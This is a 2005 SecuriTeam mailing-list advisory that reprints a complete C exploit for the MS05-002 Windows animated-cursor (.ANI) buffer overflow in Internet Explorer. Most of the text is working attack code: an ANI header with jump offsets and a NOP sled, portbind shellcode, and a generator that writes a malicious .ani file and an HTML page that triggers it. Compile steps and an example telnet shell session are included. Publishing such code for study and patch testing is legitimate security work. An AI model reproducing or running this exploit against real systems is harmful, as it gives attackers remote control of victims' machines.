[EXPL] Microsoft Internet Explorer .ANI Files Handling Exploit (MS05-002)

From: SecuriTeam (support_at_securiteam.com)
Date: 01/25/05

  • Next message: SecuriTeam: "[TOOL] Cctde - Covert Channel and Tunneling Over the HTTP Protocol Detection" 
    To: list@securiteam.com
Date: 25 Jan 2005 18:57:19 +0200

    The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
    - - promotion

    The SecuriTeam alerts list - Free, Accurate, Independent.

    Get your security news from a reliable source.
    http://www.securiteam.com/mailinglist.html

    - - - - - - - - -

      Microsoft Internet Explorer .ANI Files Handling Exploit (MS05-002)
    ------------------------------------------------------------------------

    SUMMARY

    In January's monthly security updates, Microsoft released a patch that fix
    a vulnerability in the handling of .ANI file format. More information can
    be found at: <http://www.securiteam.com/windowsntfocus/5YP0F0KEKK.html>
    Windows ANI File Parsing Buffer Overflow (MS05-002). Below you can find a
    universal exploit code for this vulnerability.

    DETAILS

    Exploit:
    /* HOD-ms05002-ani-expl.c: 2005-01-10: PUBLIC v.0.2
    *
    * Copyright (c) 2004-2005 houseofdabus.
    *
    * (MS05-002) Microsoft Internet Explorer .ANI Files Handling Exploit
    * (CAN-2004-1049)
    *
    *
    *
    * .::[ houseofdabus ]::.
    *
    *
    *
    * (universal -- for all affected systems)
    * ---------------------------------------------------------------------
    * Description:
    * A remote code execution vulnerability exists in the way that
    * cursor, animated cursor, and icon formats are handled. An attacker
    * could try to exploit the vulnerability by constructing a malicious
    * cursor or icon file that could potentially allow remote code
    * execution if a user visited a malicious Web site or viewed a
    * malicious e-mail message. An attacker who successfully exploited
    * this vulnerability could take complete control of an affected
    * system.
    *
    * ---------------------------------------------------------------------
    * Patch:
    * http://www.microsoft.com/technet/security/Bulletin/MS05-002.mspx
    *
    * ---------------------------------------------------------------------
    * Tested on:
    * - Windows Server 2003
    * - Windows XP SP1
    * - Windows XP SP0
    * - Windows 2000 SP4
    * - Windows 2000 SP3
    * - Windows 2000 SP2
    *
    * ---------------------------------------------------------------------
    * Compile:
    *
    * Win32/VC++ : cl -o HOD-ms05002-ani-expl HOD-ms05002-ani-expl.c
    * Win32/cygwin: gcc -o HOD-ms05002-ani-expl HOD-ms05002-ani-expl.c
    * Linux : gcc -o HOD-ms05002-ani-expl HOD-ms05002-ani-expl.c
    *
    * ---------------------------------------------------------------------
    * Example:
    *
    * C:\>HOD-ms05002-ani-expl.exe poc 7777
    * <...>
    * [*] Creating poc.ani file ... Ok
    * [*] Creating poc.html file ... Ok
    *
    * C:\>
    *
    * start IE -> C:\poc.html
    *
    * C:\>telnet localhost 7777
    * Microsoft Windows 2000 [Version 5.00.2195]
    * (C) Copyright 1985-2000 Microsoft Corp.
    *
    * C:\Documents and Settings\Administrator\Desktop>
    *
    * ---------------------------------------------------------------------
    *
    * This is provided as proof-of-concept code only for educational
    * purposes and testing by authorized individuals with permission to
    * do so.
    *
    */

    #include <stdio.h>
    #include <stdlib.h>

    /* ANI header */
    unsigned char aniheader[] =
    "\x52\x49\x46\x46\x9c\x18\x00\x00\x41\x43\x4f\x4e\x61\x6e\x69\x68"
    "\x7c\x03\x00\x00\x24\x00\x00\x00\x08\x00\x00\x00\x08\x00\x00\x00"
    "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"

    /* jmp offset, no Jitsu */
    "\x77\x82\x40\x00\xeb\x64\x90\x90\x77\x82\x40\x00\xeb\x64\x90\x90"
    "\xeb\x54\x90\x90\x77\x82\x40\x00\xeb\x54\x90\x90\x77\x82\x40\x00"
    "\xeb\x44\x90\x90\x77\x82\x40\x00\xeb\x44\x90\x90\x77\x82\x40\x00"
    "\xeb\x34\x90\x90\x77\x82\x40\x00\xeb\x34\x90\x90\x77\x82\x40\x00"
    "\xeb\x24\x90\x90\x77\x82\x40\x00\xeb\x24\x90\x90\x77\x82\x40\x00"
    "\xeb\x14\x90\x90\x77\x82\x40\x00\xeb\x14\x90\x90\x77\x82\x40\x00"
    "\x77\x82\x40\x00\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
    "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90";

    /* portbind shellcode */
    unsigned char shellcode[] =
    "\xeb\x70\x56\x33\xc0\x64\x8b\x40\x30\x85\xc0\x78\x0c\x8b\x40\x0c"
    "\x8b\x70\x1c\xad\x8b\x40\x08\xeb\x09\x8b\x40\x34\x8d\x40\x7c\x8b"
    "\x40\x3c\x5e\xc3\x60\x8b\x6c\x24\x24\x8b\x45\x3c\x8b\x54\x05\x78"
    "\x03\xd5\x8b\x4a\x18\x8b\x5a\x20\x03\xdd\xe3\x34\x49\x8b\x34\x8b"
    "\x03\xf5\x33\xff\x33\xc0\xfc\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x03"
    "\xf8\xeb\xf4\x3b\x7c\x24\x28\x75\xe1\x8b\x5a\x24\x03\xdd\x66\x8b"
    "\x0c\x4b\x8b\x5a\x1c\x03\xdd\x8b\x04\x8b\x03\xc5\x89\x44\x24\x1c"
    "\x61\xc3\xeb\x3d\xad\x50\x52\xe8\xa8\xff\xff\xff\x89\x07\x83\xc4"
    "\x08\x83\xc7\x04\x3b\xf1\x75\xec\xc3\x8e\x4e\x0e\xec\x72\xfe\xb3"
    "\x16\x7e\xd8\xe2\x73\xad\xd9\x05\xce\xd9\x09\xf5\xad\xa4\x1a\x70"
    "\xc7\xa4\xad\x2e\xe9\xe5\x49\x86\x49\xcb\xed\xfc\x3b\xe7\x79\xc6"
    "\x79\x83\xec\x60\x8b\xec\xeb\x02\xeb\x05\xe8\xf9\xff\xff\xff\x5e"
    "\xe8\x3d\xff\xff\xff\x8b\xd0\x83\xee\x36\x8d\x7d\x04\x8b\xce\x83"
    "\xc1\x10\xe8\x9d\xff\xff\xff\x83\xc1\x18\x33\xc0\x66\xb8\x33\x32"
    "\x50\x68\x77\x73\x32\x5f\x8b\xdc\x51\x52\x53\xff\x55\x04\x5a\x59"
    "\x8b\xd0\xe8\x7d\xff\xff\xff\xb8\x01\x63\x6d\x64\xc1\xf8\x08\x50"
    "\x89\x65\x34\x33\xc0\x66\xb8\x90\x01\x2b\xe0\x54\x83\xc0\x72\x50"
    "\xff\x55\x24\x33\xc0\x50\x50\x50\x50\x40\x50\x40\x50\xff\x55\x14"
    "\x8b\xf0\x33\xc0\x33\xdb\x50\x50\x50\xb8\x02\x01\x11\x5c\xfe\xcc"
    "\x50\x8b\xc4\xb3\x10\x53\x50\x56\xff\x55\x18\x53\x56\xff\x55\x1c"
    "\x53\x8b\xd4\x2b\xe3\x8b\xcc\x52\x51\x56\xff\x55\x20\x8b\xf0\x33"
    "\xc9\xb1\x54\x2b\xe1\x8b\xfc\x57\x33\xc0\xf3\xaa\x5f\xc6\x07\x44"
    "\xfe\x47\x2d\x57\x8b\xc6\x8d\x7f\x38\xab\xab\xab\x5f\x33\xc0\x8d"
    "\x77\x44\x56\x57\x50\x50\x50\x40\x50\x48\x50\x50\xff\x75\x34\x50"
    "\xff\x55\x08\xf7\xd0\x50\xff\x36\xff\x55\x10\xff\x77\x38\xff\x55"
    "\x28\xff\x55\x0c";

    #define SET_PORTBIND_PORT(buf, port) *(unsigned short *)(((buf)+300)) =
    (port)

    unsigned char discl[] = "This is provided as proof-of-concept code only
    for educational"
    " purposes and testing by authorized individuals with permission"
    " to do so.";

    unsigned char html[] =
    "<html>\n"
    "(MS05-002) Microsoft Internet Explorer .ANI Files Handling Exploit"
    "<br>Copyright (c) 2004-2005 .: houseofdabus :.<br><a href =\""
    "http://www.microsoft.com/technet/security/Bulletin/MS05-002.mspx\">"
    "Patch (MS05-002)</a>\n"
    "<script>alert(\"%s\")</script>\n<head>\n\t<style>\n"
    "\t\t* {CURSOR: url(\"%s.ani\")}\n\t</style>\n</head>\n"
    "</html>";

    unsigned short
    fixx(unsigned short p)
    {
    unsigned short r = 0;
    r = (p & 0xFF00) >> 8;
    r |= (p & 0x00FF) << 8;

    return r;
    }

    void
    usage(char *prog)
    {
    printf("Usage:\n");
    printf("%s <file> <bindport>\n\n", prog);
    exit(0);
    }

    int
    main(int argc, char **argv)
    {
    FILE *fp;
    unsigned short port;
    unsigned char f[256+5] = "";
    unsigned char anib[912] = "";

    printf("\n(MS05-002) Microsoft Internet Explorer .ANI Files Handling
    Exploit\n\n");
    printf("\tCopyright (c) 2004-2005 .: houseofdabus :.\n\n\n");
    printf("Tested on all affected systems:\n");
    printf(" [+] Windows Server 2003\n [+] Windows XP SP1, SP0\n");
    printf(" [+] Windows 2000 All SP\n\n");

    printf("%s\n\n", discl);
    if ( (sizeof(shellcode)-1) > (912-sizeof(aniheader)-3) ) {
    printf("[-] Size of shellcode must be <= 686 bytes\n");
    return 0;
    }
    if (argc < 3) usage(argv[0]);

    if (strlen(argv[1]) > 256) {
    printf("[-] Size of filename must be <=256 bytes\n");
    return 0;
    }

    /* creating ani file */
    strcpy(f, argv[1]);
    strcat(f, ".ani");
    printf("[*] Creating %s file ...", f);
    fp = fopen(f, "wb");
    if (fp == NULL) {
    printf("\n[-] error: can\'t create file: %s\n", f);
    return 0;
    }
    memset(anib, 0x90, 912);

    /* header */
    memcpy(anib, aniheader, sizeof(aniheader)-1);
    /* shellcode */
    port = atoi(argv[2]);
    SET_PORTBIND_PORT(shellcode, fixx(port));
    memcpy(anib+sizeof(aniheader)-1, shellcode, sizeof(shellcode)-1);

    fwrite(anib, 1, 912, fp);
    printf(" Ok\n");
    fclose(fp);

    /* creating html file */
    f[0] = '\0';
    strcpy(f, argv[1]);
    strcat(f, ".html");
    printf("[*] Creating %s file ...", f);
    fp = fopen(f, "wb");
    if (fp == NULL) {
    printf("\n[-] error: can\'t create file: %s\n", f);
    return 0;
    }
    sprintf(anib, html, discl, argv[1]);
    fwrite(anib, 1, strlen(anib), fp);
    printf(" Ok\n");
    fclose(fp);

    return 0;
    }

    ADDITIONAL INFORMATION

    The information has been provided by <mailto:houseofdabus@inbox.ru>
    houseofdabus HOD.

    ========================================

    This bulletin is sent to members of the SecuriTeam mailing list.
    To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
    In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

    ====================
    ====================

    DISCLAIMER:
    The information in this bulletin is provided "AS IS" without warranty of any kind.
    In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

  • Next message: SecuriTeam: "[TOOL] Cctde - Covert Channel and Tunneling Over the HTTP Protocol Detection"

    Relevant Pages